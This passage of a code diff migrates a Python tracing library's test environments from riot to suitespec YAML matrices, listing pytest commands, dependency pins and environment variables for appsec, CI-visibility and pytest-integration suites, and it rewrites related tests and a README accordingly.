1 paths: @@ -189,6 +453,76 @@ suites: services: - testagent timeout: 30m + matrix: + command: pytest -vvv {cmdargs} tests/appsec/integrations/django_tests/ + dependencies: + - requests + - gunicorn + - gevent + - pylibmc + - PyYAML + - dill + - bcrypt==4.2.1 + - pytest-django[testing]==3.10.0 + - psutil==7.1.3 + env: + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + DD_TRACE_AGENT_URL: http://testagent:9126 + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + cases: + - python: ['3.9'] + dependencies: + - django~=2.2 + axes: + compatibility: + django-2-2: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - django~=3.2 + - legacy-cgi + axes: + compatibility: + django-3-2-legacy-cgi-latest: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - django==4.0.10 + - legacy-cgi + axes: + compatibility: + django-4-0-10-legacy-cgi-latest: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - django~=4.2 + axes: + compatibility: + django-4-2: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - django~=4.2 + - legacy-cgi + axes: + compatibility: + django-4-2-legacy-cgi-latest: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - django~=5.2 + axes: + compatibility: + django-5-2: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - django + axes: + compatibility: + django-latest: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - django + - legacy-cgi + axes: + compatibility: + django-latest-legacy-cgi-latest: {} appsec_integrations_fastapi: venvs_per_job: 1 paths: @@ -203,6 +537,52 @@ suites: retry: 2 services: - testagent + matrix: + command: pytest -vvv {cmdargs} tests/appsec/integrations/fastapi_tests/ + dependencies: + - requests + - python-multipart + - jinja2 + - httpx<0.28.0 + - uvicorn==0.33.0 + - pytest-asyncio + - psutil==7.1.3 + env: + AGENT_VERSION: testagent + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_VULNERABILITIES_PER_REQUEST: '100000' + DD_TRACE_AGENT_URL: http://testagent:9126 + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - fastapi==0.86.0 + - anyio==3.7.1 + axes: + compatibility: + fastapi-0-86-0-anyio-3-7-1: {} + - python: ['3.10', '3.14'] + dependencies: + - fastapi==0.141.1 + axes: + compatibility: + fastapi-0-141-1: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - fastapi~=0.114.2 + - mcp==1.20.0 + axes: + compatibility: + fastapi-0-114-2-mcp-1-20-0: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - fastapi + - pydantic~=2.12.1 + - mcp==1.20.0 + axes: + compatibility: + fastapi-latest-pydantic-2-12-1-mcp-1-20-0: {} appsec_threats_django_no_iast: venvs_per_job: 1 paths: @@ -217,6 +597,54 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_django.py::Test_Django {cmdargs} + dependencies: + - requests + - httpx + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_APPSEC_ENABLED: 'true' + DD_IAST_ENABLED: 'false' + DD_TRACE_AGENT_URL: http://testagent:9126 + cases: + - python: ['3.9'] + dependencies: + - django~=2.2 + axes: + compatibility: + django-2-2: {} + - python: ['3.9', '3.10'] + dependencies: + - django~=3.2 + axes: + compatibility: + django-3-2: {} + - python: ['3.10'] + dependencies: + - django==4.0.10 + axes: + compatibility: + django-4-0-10: {} + - python: ['3.11', '3.13'] + dependencies: + - django~=4.2 + axes: + compatibility: + django-4-2: {} + - python: ['3.10', '3.13'] + dependencies: + - django~=5.1 + axes: + compatibility: + django-5-1: {} + - python: ['3.12', '3.14'] + dependencies: + - django~=6.0 + axes: + compatibility: + django-6-0: {} appsec_threats_django_iast: venvs_per_job: 1 paths: @@ -232,6 +660,57 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_django.py::Test_Django {cmdargs} + dependencies: + - requests + - httpx + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_APPSEC_ENABLED: 'true' + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_ENABLED: 'true' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_WEAK_HASH_ALGORITHMS: NOTexist + DD_TRACE_AGENT_URL: http://testagent:9126 + cases: + - python: ['3.9'] + dependencies: + - django~=2.2 + axes: + compatibility: + django-2-2: {} + - python: ['3.9', '3.10'] + dependencies: + - django~=3.2 + axes: + compatibility: + django-3-2: {} + - python: ['3.10'] + dependencies: + - django==4.0.10 + axes: + compatibility: + django-4-0-10: {} + - python: ['3.11', '3.13'] + dependencies: + - django~=4.2 + axes: + compatibility: + django-4-2: {} + - python: ['3.10', '3.13'] + dependencies: + - django~=5.1 + axes: + compatibility: + django-5-1: {} + - python: ['3.12', '3.14'] + dependencies: + - django~=6.0 + axes: + compatibility: + django-6-0: {} appsec_threats_django_rc: venvs_per_job: 1 paths: @@ -246,6 +725,19 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_django.py::Test_Django_RC {cmdargs} + dependencies: + - requests + - httpx + - django~=5.1 + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_IAST_ENABLED: 'false' + DD_REMOTE_CONFIGURATION_ENABLED: 'true' + DD_TRACE_AGENT_URL: http://testagent:9126 + python: ['3.10', '3.13'] appsec_threats_fastapi_no_iast: venvs_per_job: 1 paths: @@ -261,6 +753,45 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_fastapi.py::Test_FastAPI {cmdargs} + dependencies: + - hypothesis + - requests + - httpx<0.28.0 + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_APPSEC_ENABLED: 'true' + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_ENABLED: 'false' + DD_TRACE_AGENT_URL: http://testagent:9126 + cases: + - python: ['3.10', '3.13'] + dependencies: + - fastapi==0.86.0 + - anyio==3.7.1 + axes: + compatibility: + fastapi-0-86-0-anyio-3-7-1: {} + - python: ['3.10', '3.13'] + dependencies: + - fastapi==0.94.1 + axes: + compatibility: + fastapi-0-94-1: {} + - python: ['3.10', '3.13'] + dependencies: + - fastapi~=0.114.2 + axes: + compatibility: + fastapi-0-114-2: {} + - python: ['3.10', '3.14'] + dependencies: + - fastapi==0.141.1 + axes: + compatibility: + fastapi-0-141-1: {} appsec_threats_fastapi_iast: venvs_per_job: 1 paths: @@ -277,6 +808,47 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_fastapi.py::Test_FastAPI {cmdargs} + dependencies: + - hypothesis + - requests + - httpx<0.28.0 + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_APPSEC_ENABLED: 'true' + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_ENABLED: 'true' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_WEAK_HASH_ALGORITHMS: NOTexist + DD_TRACE_AGENT_URL: http://testagent:9126 + cases: + - python: ['3.10', '3.13'] + dependencies: + - fastapi==0.86.0 + - anyio==3.7.1 + axes: + compatibility: + fastapi-0-86-0-anyio-3-7-1: {} + - python: ['3.10', '3.13'] + dependencies: + - fastapi==0.94.1 + axes: + compatibility: + fastapi-0-94-1: {} + - python: ['3.10', '3.13'] + dependencies: + - fastapi~=0.114.2 + axes: + compatibility: + fastapi-0-114-2: {} + - python: ['3.10', '3.14'] + dependencies: + - fastapi==0.141.1 + axes: + compatibility: + fastapi-0-141-1: {} appsec_threats_fastapi_rc: venvs_per_job: 1 paths: @@ -292,6 +864,20 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_fastapi.py::Test_FastAPI_RC {cmdargs} + dependencies: + - hypothesis + - requests + - httpx<0.28.0 + - fastapi~=0.114.2 + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_IAST_ENABLED: 'false' + DD_REMOTE_CONFIGURATION_ENABLED: 'true' + DD_TRACE_AGENT_URL: http://testagent:9126 + python: ['3.10', '3.13'] appsec_threats_flask_no_iast: venvs_per_job: 1 paths: @@ -306,6 +892,45 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest -vv tests/appsec/contrib_appsec/test_flask.py::Test_Flask {cmdargs} + dependencies: + - hypothesis + - requests + - httpx + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_APPSEC_ENABLED: 'true' + DD_IAST_ENABLED: 'false' + DD_TRACE_AGENT_URL: http://testagent:9126 + cases: + - python: ['3.9'] + dependencies: + - flask~=1.1 + - MarkupSafe~=1.1 + axes: + compatibility: + flask-1-1-markupsafe-1-1: {} + - python: ['3.9'] + dependencies: + - flask==2.1.3 + - Werkzeug<3.0 + axes: + compatibility: + flask-2-1-3-werkzeug-lt-3-0: {} + - python: ['3.10', '3.13'] + dependencies: + - flask~=2.3 + axes: + compatibility: + flask-2-3: {} + - python: ['3.11', '3.13'] + dependencies: + - flask~=3.0 + axes: + compatibility: + flask-3-0: {} appsec_threats_flask_iast: venvs_per_job: 1 paths: @@ -321,6 +946,48 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest -vv tests/appsec/contrib_appsec/test_flask.py::Test_Flask {cmdargs} + dependencies: + - hypothesis + - requests + - httpx + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_APPSEC_ENABLED: 'true' + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_ENABLED: 'true' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_WEAK_HASH_ALGORITHMS: NOTexist + DD_TRACE_AGENT_URL: http://testagent:9126 + cases: + - python: ['3.9'] + dependencies: + - flask~=1.1 + - MarkupSafe~=1.1 + axes: + compatibility: + flask-1-1-markupsafe-1-1: {} + - python: ['3.9'] + dependencies: + - flask==2.1.3 + - Werkzeug<3.0 + axes: + compatibility: + flask-2-1-3-werkzeug-lt-3-0: {} + - python: ['3.10', '3.13'] + dependencies: + - flask~=2.3 + axes: + compatibility: + flask-2-3: {} + - python: ['3.11', '3.13'] + dependencies: + - flask~=3.0 + axes: + compatibility: + flask-3-0: {} appsec_threats_flask_rc: venvs_per_job: 1 paths: @@ -335,6 +1002,20 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest -vv tests/appsec/contrib_appsec/test_flask.py::Test_Flask_RC {cmdargs} + dependencies: + - hypothesis + - requests + - httpx + - flask~=3.0 + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_IAST_ENABLED: 'false' + DD_REMOTE_CONFIGURATION_ENABLED: 'true' + DD_TRACE_AGENT_URL: http://testagent:9126 + python: ['3.11', '3.13'] appsec_threats_tornado_no_iast: venvs_per_job: 1 paths: @@ -349,6 +1030,36 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_tornado.py::Test_Tornado {cmdargs} + dependencies: + - requests + - httpx + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_APPSEC_ENABLED: 'true' + DD_IAST_ENABLED: 'false' + DD_TRACE_AGENT_URL: http://testagent:9126 + cases: + - python: ['3.9', '3.12'] + dependencies: + - tornado~=6.3 + axes: + compatibility: + tornado-6-3: {} + - python: ['3.9', '3.12'] + dependencies: + - tornado~=6.4 + axes: + compatibility: + tornado-6-4: {} + - python: ['3.10', '3.14'] + dependencies: + - tornado~=6.5 + axes: + compatibility: + tornado-6-5: {} appsec_threats_tornado_iast: venvs_per_job: 1 paths: @@ -364,6 +1075,39 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_tornado.py::Test_Tornado {cmdargs} + dependencies: + - requests + - httpx + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_APPSEC_ENABLED: 'true' + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_ENABLED: 'true' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_WEAK_HASH_ALGORITHMS: NOTexist + DD_TRACE_AGENT_URL: http://testagent:9126 + cases: + - python: ['3.9', '3.12'] + dependencies: + - tornado~=6.3 + axes: + compatibility: + tornado-6-3: {} + - python: ['3.9', '3.12'] + dependencies: + - tornado~=6.4 + axes: + compatibility: + tornado-6-4: {} + - python: ['3.10', '3.14'] + dependencies: + - tornado~=6.5 + axes: + compatibility: + tornado-6-5: {} appsec_threats_tornado_rc: venvs_per_job: 1 paths: @@ -378,6 +1122,19 @@ suites: - tests/appsec/* - tests/appsec/contrib_appsec/* retry: 2 + matrix: + command: pytest tests/appsec/contrib_appsec/test_tornado.py::Test_Tornado_RC {cmdargs} + dependencies: + - requests + - httpx + - tornado~=6.5 + env: + AGENT_VERSION: testagent + DD_API_SECURITY_SAMPLE_DELAY: '0' + DD_IAST_ENABLED: 'false' + DD_REMOTE_CONFIGURATION_ENABLED: 'true' + DD_TRACE_AGENT_URL: http://testagent:9126 + python: ['3.10', '3.14'] urllib: paths: - '@bootstrap' @@ -387,6 +1144,41 @@ suites: - '@urllib' - tests/appsec/iast/taint_sinks/test_ssrf.py skip: true # TODO: No environment available + matrix: + name: urllib3 + command: pytest -n auto --dist=worksteal {cmdargs} tests/contrib/urllib3 + dependencies: + - pytest-randomly + - pytest-xdist + cases: + - python: ['3.9'] + axes: + urllib3: + urllib3-1-25-8: urllib3==1.25.8 + urllib3-latest: urllib3 + compatibility: + urllib3: {} + - python: ['3.10'] + axes: + urllib3: + urllib3-1-26-6: urllib3==1.26.6 + urllib3-latest: urllib3 + compatibility: + urllib3-2: {} + - python: ['3.11'] + axes: + urllib3: + urllib3-1-26-8: urllib3==1.26.8 + urllib3-latest: urllib3 + compatibility: + urllib3-3: {} + - python: ['3.12', '3.13', '3.14'] + axes: + urllib3: + urllib3-2-0-0: urllib3==2.0.0 + urllib3-latest: urllib3 + compatibility: + urllib3-4: {} webbrowser: paths: - '@bootstrap' @@ -404,4 +1196,9 @@ suites: - '@sca' - tests/appsec/sca/* retry: 2 - venvs_per_job: 1 \ No newline at end of file + venvs_per_job: 1 + matrix: + command: pytest {cmdargs} tests/appsec/sca/ + dependencies: + - jsonschema + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] diff --git a/tests/ci_visibility/api/README.md b/tests/ci_visibility/api/README.md index 08babf85779..213c98f758d 100644 --- a/tests/ci_visibility/api/README.md +++ b/tests/ci_visibility/api/README.md @@ -20,15 +20,15 @@ tests. #### Manually -1. Set up (and activate) an environment (eg: using `pip install ddtrace` or `riot shell`) +1. Set up and activate an environment with `ddtrace` installed. 1. Run the script: 1. Set expected environment variables (eg: `DD_API_KEY` and `DD_CIVISIBILITY_AGENTLESS_ENABLED`) 1. Run the script, eg: `python tests/ci_visibility/api/fake_runner_all_pass.py` #### As tests -1. Choose a `riot` environment (eg: using `riot list ci_visibility`) +1. List the available environments with `scripts/test-env list ci_visibility`. 1. Make sure the `testagent` is running (refer to contributor docs again) -1. Run the test(s) (note: you may want to pass `-s` `riot run` to speed up tests) - 1. All tests: `riot -v run 1b90fc9 -- -k FakeApiRunnersSnapshotTestCase` - 1. Individual test: `riot -v run 1b90fc9 -- -k test_manual_api_fake_runner_mix_fail_itr_test_level` \ No newline at end of file +1. Run the selected environment: + 1. All tests: `scripts/run-tests --suite ci_visibility --venv -- -k FakeApiRunnersSnapshotTestCase` + 1. Individual test: `scripts/run-tests --suite ci_visibility --venv -- -k test_manual_api_fake_runner_mix_fail_itr_test_level` diff --git a/tests/ci_visibility/suitespec.yml b/tests/ci_visibility/suitespec.yml index f6d0dab39a6..01617359a70 100644 --- a/tests/ci_visibility/suitespec.yml +++ b/tests/ci_visibility/suitespec.yml @@ -31,6 +31,16 @@ suites: - '@testing' - tests/ci_visibility/* pattern: 'ci_visibility$' + matrix: + command: pytest --ddtrace -n auto --dist=worksteal {cmdargs} tests/ci_visibility --ignore=tests/ci_visibility/api/test_api_fake_runners.py + dependencies: + - msgpack + - pytest-randomly + - pytest-xdist + - gevent + env: + DD_AGENT_PORT: '9126' + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] ci_visibility:snapshot: parallelism: 4 paths: @@ -47,6 +57,15 @@ suites: - tests/snapshots/test_api_fake_runners.* snapshot: true pattern: 'ci_visibility:snapshot' + matrix: + command: pytest --ddtrace {cmdargs} tests/ci_visibility/api/test_api_fake_runners.py + dependencies: + - msgpack + - pytest-randomly + - gevent + env: + DD_AGENT_PORT: '9126' + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] dd_coverage: parallelism: 6 paths: @@ -56,6 +75,9 @@ suites: - '@dd_coverage' - tests/coverage/* snapshot: true + matrix: + command: pytest --no-cov {cmdargs} tests/coverage -s + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] pytest: venvs_per_job: 2 paths: @@ -72,6 +94,46 @@ suites: - tests/contrib/internal/coverage/* snapshot: true pattern: 'pytest$' + matrix: + command: pytest --ddtrace --no-cov -n auto --dist=worksteal {cmdargs} tests/contrib/pytest/ --ignore=tests/contrib/pytest/snapshot/ + dependencies: + - pytest-randomly + - pytest-xdist + - msgpack + - more_itertools<8.11.0 + - httpx<0.28.0 + env: + DD_AGENT_PORT: '9126' + DD_PYTEST_USE_NEW_PLUGIN: 'false' + cases: + - python: ['3.9'] + dependencies: + - pytest~=6.0 + - pytest-mock==2.0.0 + - pytest-cov==2.9.0 + axes: + compatibility: + pytest-6-0-pytest-mock-2-0-0-pytest-cov-2-9-0: {} + - python: ['3.9'] + dependencies: + - pytest-mock==2.0.0 + - pytest-cov==2.12.0 + axes: + pytest: + pytest-7-0: pytest~=7.0 + pytest-latest: pytest + compatibility: + pytest-pytest-mock-2-0-0-pytest-cov-2-12-0: {} + - python: ['3.10', '3.11', '3.12', '3.13'] + dependencies: + - asynctest==0.13.0 + axes: + pytest: + pytest-6-0: pytest~=6.0 + pytest-7-0: pytest~=7.0 + pytest-latest: pytest + compatibility: + pytest-asynctest-0-13-0: {} pytest:snapshot: venvs_per_job: 1 paths: @@ -88,6 +150,35 @@ suites: - tests/snapshots/tests.contrib.pytest.* snapshot: true pattern: 'pytest:snapshot' + matrix: + command: pytest {cmdargs} --ddtrace tests/contrib/pytest/snapshot/ + dependencies: + - pytest-randomly + - pytest-xdist + - msgpack + - more_itertools<8.11.0 + - httpx<0.28.0 + env: + DD_AGENT_PORT: '9126' + DD_PYTEST_USE_NEW_PLUGIN: 'false' + cases: + - python: ['3.9'] + axes: + pytest: + pytest-7-2: pytest~=7.2 + pytest-8-0: pytest~=8.0 + compatibility: + pytest: {} + - python: ['3.10', '3.11', '3.12', '3.13'] + dependencies: + - asynctest==0.13.0 + axes: + pytest: + pytest-7-2: pytest~=7.2 + pytest-8-0: pytest~=8.0 + pytest-latest: pytest + compatibility: + pytest-asynctest-0-13-0: {} pytest_benchmark: venvs_per_job: 3 paths: @@ -105,6 +196,13 @@ suites: - tests/contrib/internal/coverage/* - tests/snapshots/tests.contrib.pytest.* snapshot: true + matrix: + command: pytest {cmdargs} --no-cov tests/testing/internal/pytest/test_pytest_benchmark.py + dependencies: + - msgpack + - pytest-randomly + - pytest-benchmark>=3.1.0,<=4.0.0 + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] pytest_bdd: venvs_per_job: 3 paths: @@ -122,6 +220,27 @@ suites: - tests/contrib/internal/coverage/* - tests/snapshots/tests.contrib.pytest.* snapshot: true + matrix: + command: pytest {cmdargs} tests/testing/internal/pytest/test_pytest_bdd.py + dependencies: + - pytest==7.4.4 + - msgpack + - more_itertools<8.11.0 + - pytest-randomly + cases: + - python: ['3.9'] + axes: + pytest-bdd: + pytest-bdd-gte-4-0-lt-5-0: pytest-bdd>=4.0,<5.0 + pytest-bdd-gte-6-0-lt-6-1: pytest-bdd>=6.0,<6.1 + compatibility: + pytest-bdd: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - pytest-bdd>=6.0,<6.1 + axes: + compatibility: + pytest-bdd-gte-6-0-lt-6-1: {} pytest_flaky: venvs_per_job: 3 paths: @@ -140,6 +259,13 @@ suites: - tests/snapshots/tests.contrib.pytest.* snapshot: true pattern: 'pytest:flaky' + matrix: + name: pytest:flaky + command: pytest {cmdargs} --no-cov -p no:flaky tests/testing/internal/pytest/test_pytest_flaky.py + dependencies: + - flaky + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] testing: retry: 2 venvs_per_job: 1 @@ -156,6 +282,40 @@ suites: - tests/testing/* - tests/contrib/internal/coverage/* snapshot: true + matrix: + command: pytest --ddtrace --no-cov -n auto --dist=worksteal {cmdargs} tests/testing/ + dependencies: + - pytest-randomly + - pytest-xdist + - pytest-benchmark + - pytest-bdd + - pytest-timeout + - msgpack + - more_itertools<8.11.0 + - httpx<0.28.0 + env: + DD_AGENT_PORT: '9126' + DD_CIVISIBILITY_CODE_COVERAGE_REPORT_UPLOAD_ENABLED: 'false' + _DD_CIVISIBILITY_USE_CI_CONTEXT_PROVIDER: '0' + cases: + - python: ['3.9'] + axes: + pytest: + pytest-6-2-5: pytest==6.2.5 + pytest-7-2: pytest~=7.2 + pytest-8-0: pytest~=8.0 + compatibility: + pytest: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - asynctest==0.13.0 + axes: + pytest: + pytest-7-2: pytest~=7.2 + pytest-8-0: pytest~=8.0 + pytest-latest: pytest + compatibility: + pytest-asynctest-0-13-0: {} selenium: parallelism: 2 env: @@ -175,6 +335,15 @@ suites: snapshot: true services: - selenium-chrome + matrix: + name: selenium-pytest + command: pytest --no-cov {cmdargs} -c /dev/null tests/contrib/selenium + dependencies: + - selenium~=4.0 + - webdriver-manager + env: + DD_AGENT_PORT: '9126' + python: ['3.10', '3.12'] unittest: parallelism: 2 paths: @@ -186,3 +355,13 @@ suites: - tests/contrib/unittest/* - tests/snapshots/tests.contrib.unittest.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/unittest/ + dependencies: + - msgpack + - pytest-randomly + env: + DD_AGENT_PORT: '9126' + DD_PATCH_MODULES: unittest:true + DD_UNITTEST_SERVICE: dd-trace-py + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] diff --git a/tests/contrib/django/test_django_wsgi.py b/tests/contrib/django/test_django_wsgi.py index 1891e5cea0e..4a8b2ad1013 100644 --- a/tests/contrib/django/test_django_wsgi.py +++ b/tests/contrib/django/test_django_wsgi.py @@ -1,6 +1,7 @@ import logging import os import subprocess +import sys import django from django.core.signals import request_finished @@ -54,18 +55,18 @@ def wsgi_app(): env = os.environ.copy() env.update( { - "PYTHONPATH": os.path.dirname(os.path.abspath(__file__)) + ":" + env["PYTHONPATH"], "DJANGO_SETTINGS_MODULE": "test_django_wsgi", "DD_TRACE_ENABLED": "true", } ) - cmd = ["django-admin", "runserver", "--noreload", str(SERVER_PORT)] + cmd = [sys.executable, "-m", "django", "runserver", "--noreload", str(SERVER_PORT)] proc = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True, env=env, + cwd=os.path.dirname(os.path.abspath(__file__)), ) yield proc diff --git a/tests/contrib/django_celery/test_django_celery.py b/tests/contrib/django_celery/test_django_celery.py index ba6ba72a14c..e033650fc0d 100644 --- a/tests/contrib/django_celery/test_django_celery.py +++ b/tests/contrib/django_celery/test_django_celery.py @@ -2,9 +2,12 @@ from os.path import sep import subprocess +import pytest + from tests.utils import call_program +@pytest.mark.skip(reason="FIXME: make the flaky Celery gevent startup check deterministic") def test_django_celery_gevent_startup(): """Test that Celery starts correctly with the Django integration enabled. diff --git a/tests/contrib/integration_registry/conftest.py b/tests/contrib/integration_registry/conftest.py index 955385be729..e570d371a1d 100644 --- a/tests/contrib/integration_registry/conftest.py +++ b/tests/contrib/integration_registry/conftest.py @@ -1,13 +1,13 @@ import json from pathlib import Path import re -from typing import Any from typing import cast import pytest import yaml -import riotfile +from tests.suitespec import TestEnvironment as _TestEnvironment +from tests.suitespec import get_test_environments @pytest.fixture(scope="module") @@ -148,29 +148,15 @@ def integration_dir_names(internal_contrib_dir: Path) -> set[str]: @pytest.fixture(scope="module") -def riot_venvs() -> Any: - """Gets all Venv defined in riotfile.py.""" - return riotfile.venv.venvs # type: ignore[attr-defined] +def test_environments() -> tuple[_TestEnvironment, ...]: + return tuple( + environment for environments in get_test_environments(nightly=False).values() for environment in environments + ) @pytest.fixture(scope="module") -def riot_venv_names() -> set[str]: - """Finds all Venv names defined in riotfile.py.""" - - names: set[str] = set() - nodes_to_visit: list[Any] = [riotfile.venv] # type: ignore[attr-defined] - - while nodes_to_visit: - current_node = nodes_to_visit.pop() - if hasattr(current_node, "name") and isinstance(current_node.name, str): - names.add(current_node.name) - - if hasattr(current_node, "venvs") and isinstance(current_node.venvs, list): - nodes_to_visit.extend(current_node.venvs) - - if not names: - pytest.fail("No integration Venv names found in riotfile.venv structure.") - return names +def test_environment_names(test_environments: tuple[_TestEnvironment, ...]) -> set[str]: + return {environment.name for environment in test_environments} @pytest.fixture(scope="module") diff --git a/tests/contrib/integration_registry/test_riotfile.py b/tests/contrib/integration_registry/test_riotfile.py deleted file mode 100644 index 64eb672e95e..00000000000 --- a/tests/contrib/integration_registry/test_riotfile.py +++ /dev/null @@ -1,55 +0,0 @@ -import pathlib -from typing import Any - -from mappings import EXCLUDED_FROM_TESTING - - -def test_integrations_have_riot_envs( - integration_dir_names: set[str], - riot_venv_names: set[str], - project_root: pathlib.Path, - internal_contrib_dir: pathlib.Path, - untested_integrations: set[str], -): - """ - Verify that every integration directory in ddtrace/contrib/internal has a - corresponding Venv defined in riotfile.py. - """ - missing_riot_envs = integration_dir_names - riot_venv_names - untested_integrations - - contrib_internal_rel_path = internal_contrib_dir.relative_to(project_root) - - assert not missing_riot_envs, ( - f"\nThe following integration directories in '{contrib_internal_rel_path}' " - f"are MISSING a corresponding environment definition in 'riotfile.py':\n" - f" - " + "\n - ".join(sorted(list(missing_riot_envs))) + "\n" - "\nPlease add a Venv definition in riotfile.py with a matching 'name'." - ) - - -def test_contrib_tests_have_valid_contrib_venv_name(riot_venvs: Any, integration_dir_names: set[str]): - """ - Verify that every riot venv with a test path that contains 'contrib' is an actual - contrib directory. - """ - - failed_venvs = [] - for venv in riot_venvs: - if venv.command and "tests/contrib" in venv.command: - # some venvs have sub-venvs in the form of venv-name:sub-venv-name, we only want the main one - # e.g. django:django_hosts -> django - venv.name = venv.name.split(":")[0] - if venv.name not in integration_dir_names: - if venv.name not in EXCLUDED_FROM_TESTING: - failed_venvs.append(venv) - - if failed_venvs: - failure_messages = [f"\n{'*' * 100}"] - for venv in failed_venvs: - failure_messages.append( - f"Venv '{venv.name}' has a test command that contains 'tests/contrib': {venv.command}, but " - f"is not an actual integration with directory in 'ddtrace/contrib/internal'. Please " - f"update 'riotfile.py' to place this Venv as a sub-venv of the integration it is testing.\n" - ) - failure_messages.append("*" * 100) - assert failed_venvs == [], "\n".join(failure_messages) diff --git a/tests/contrib/integration_registry/test_suitespec.py b/tests/contrib/integration_registry/test_suitespec.py new file mode 100644 index 00000000000..dd7da414028 --- /dev/null +++ b/tests/contrib/integration_registry/test_suitespec.py @@ -0,0 +1,60 @@ +import pathlib + +from mappings import EXCLUDED_FROM_TESTING + +from tests.suitespec import TestEnvironment as _TestEnvironment + + +def test_integrations_have_test_environments( + integration_dir_names: set[str], + test_environment_names: set[str], + project_root: pathlib.Path, + internal_contrib_dir: pathlib.Path, + untested_integrations: set[str], +): + """ + Verify that every integration directory in ddtrace/contrib/internal has a + corresponding test environment. + """ + missing_test_environments = integration_dir_names - test_environment_names - untested_integrations + + contrib_internal_rel_path = internal_contrib_dir.relative_to(project_root) + + assert not missing_test_environments, ( + f"\nThe following integration directories in '{contrib_internal_rel_path}' " + "are MISSING a corresponding test environment:\n" + f" - " + "\n - ".join(sorted(missing_test_environments)) + "\n" + "\nPlease add a matching suite definition." + ) + + +def test_contrib_tests_have_valid_environment_name( + test_environments: tuple[_TestEnvironment, ...], integration_dir_names: set[str] +): + """ + Verify that every environment with a test path that contains 'contrib' is an actual + contrib directory. + """ + + failed_environments = [] + for environment in test_environments: + if any("tests/contrib" in run.command for run in environment.runs): + name = environment.name.split(":")[0] + base_name = name.split("-", 1)[0] + if ( + name not in integration_dir_names + and name not in EXCLUDED_FROM_TESTING + and base_name not in integration_dir_names + and base_name not in EXCLUDED_FROM_TESTING + ): + failed_environments.append(environment) + + if failed_environments: + failure_messages = [f"\n{'*' * 100}"] + for environment in failed_environments: + failure_messages.append( + f"Environment '{environment.name}' has a command containing 'tests/contrib', but is not an " + "integration under 